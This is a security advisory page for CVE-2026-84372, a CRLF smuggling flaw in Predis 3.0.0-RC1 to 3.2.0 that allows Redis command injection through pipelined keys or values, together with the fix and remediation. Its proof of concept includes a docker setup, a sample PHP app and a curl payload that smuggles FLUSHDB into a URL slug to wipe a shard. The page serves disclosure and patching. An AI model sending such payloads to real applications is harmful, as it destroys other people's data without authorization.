critical

CVE-2026-84372

Packagist · predis/predis

Summary

Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections

Severity
critical
CVSS
9.8
EPSS
0.4% (p35)
CWE
CWE-93
Also known as
GHSA-w6f5-v2h6-g786
Published
2026-09-08
Updated
2026-09-08

Advisory details

Summary

An improper CRLF neutralization flaw in Predis' pipeline handling on aggregate connections lets an unauthenticated attacker who can influence any pipelined argument — a value or a key, e.g. a URL slug used as a cache key — smuggle arbitrary Redis commands into the connection.

Details

When a pipeline is executed over an aggregate connection, AbstractAggregateConnection::write() re-parses the already-serialized pipeline buffer with explode("\r\n") instead of honoring RESP length prefixes:

RESP is length-prefixed, so the Redis server parses the original stream correctly — but this second, client-side parser treats attacker-controlled \r\n sequences as command boundaries. An argument such as:

PAD\r\n*1\r\n$7\r\nFLUSHDB

is a single data value to the server, but a complete, valid FLUSHDB command to the re-parser. The consequence depends on the connection type:

Affected versions. Introduced in v3.0.0 by PR #1438 ("Improved pipeline abstractions"). Affected range: 3.0.0-RC1 through 3.2.0 (v3.0.0-alpha1 is not affected — the vulnerable code was added after it). v1.x and v2.x are not affected; their pipelines write per-command via writeRequest() and the vulnerable code path does not exist.

Only pipeline() reaches the vulnerable sink; transaction() / MULTI paths do not.

Proof of concept

Two plain redis:8 containers acting as two shards (PredisCluster shards client-side, so Redis itself need not be in cluster mode); a PHP app on a vulnerable Predis checkout (e.g. v3.2.0).

docker-compose.yml:

services:
  redis1:
    image: redis:8
    ports: ["6391:6379"]
  redis2:
    image: redis:8
    ports: ["6392:6379"]

index.php (a normal-looking app — slug from URL → cache lookup):

<?php
require __DIR__ . '/vendor/autoload.php';

$nodes  = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];
$client = new Predis\Client($nodes, ['cluster' => 'predis',
            'parameters' => ['read_write_timeout' => 2]]);

if (isset($_GET['seed'])) {
    for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); }
    exit('seeded');
}

$slug = $_GET['slug'] ?? '';
try {
    [$doc] = $client->pipeline()->get("slug:$slug")->execute();
    echo $doc ?: 'no such slug';
} catch (Throwable $e) {
    http_response_code(500);
    echo get_class($e);
}

Run:

composer require predis/predis:3.2.0
docker compose up -d
php -S 127.0.0.1:8080 -t .
curl 'http://127.0.0.1:8080/?seed'                       # 100 keys

Attack (smuggled FLUSHDB inside the slug):

curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'

The slug's first line must hash to a different shard than the fake key 'key' (otherwise the truncated bytes swallow the injection and the request simply 404s). With two shards this is ~50% per attempt — retry PAD0, PAD1, … until the request returns 500. More shards make the attack easier: the per-attempt hit probability is (N-1)/N, so on production clusters with many shards the first request succeeds with near-certainty.

Verified result: dbsize across both shards drops 100 → 62; one shard was wiped by a FLUSHDB the application never issued (it only ever ran GET/SET on normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent of commit 053cb4b6 and fails on 053cb4b6.

Impact

CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command injection / protocol smuggling and denial of service. Any application on predis/predis 3.0.0-RC1 – 3.2.0 that calls pipeline() on a cluster or replication connection and includes attacker-influenced data (values or keys — e.g. cache keys built from URL slugs) in the pipelined commands is affected. This is a common pattern for cache lookups, sessions and queued writes.

Remediation

Upgrade to predis/predis 3.3.0 or later. The fix (PR #1586, commit 053cb4b6) makes pipelines on aggregate connections write each command using the real Command object, eliminating the second, byte-splitting parser.

Users who cannot upgrade immediately should avoid calling pipeline() on aggregate (cluster / replication) connections with any attacker-influenced keys or values; there is no reliable in-application way to neutralize the embedded \r\n while the second parser remains in the code path.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.